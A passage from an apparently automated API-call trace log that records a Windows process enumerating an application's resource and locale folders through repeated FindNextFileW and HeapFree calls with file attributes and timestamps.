ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0184.400] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0184.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0184.401] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0184.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.401] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0184.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0184.404] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0184.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0184.404] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0184.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.404] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0184.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.405] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0184.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.405] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0184.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.405] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0184.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.405] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0184.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.406] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0184.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.406] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0184.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.406] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0184.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.408] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0184.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.409] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0184.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.410] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0184.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.410] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0184.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.410] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0184.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.411] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0184.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.411] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0184.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.411] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0184.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0184.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0184.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0184.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0184.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0184.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.413] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0184.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.413] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0184.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.413] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0184.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.413] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0184.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.413] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0184.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.414] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.414] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0184.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.414] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0184.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.414] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, 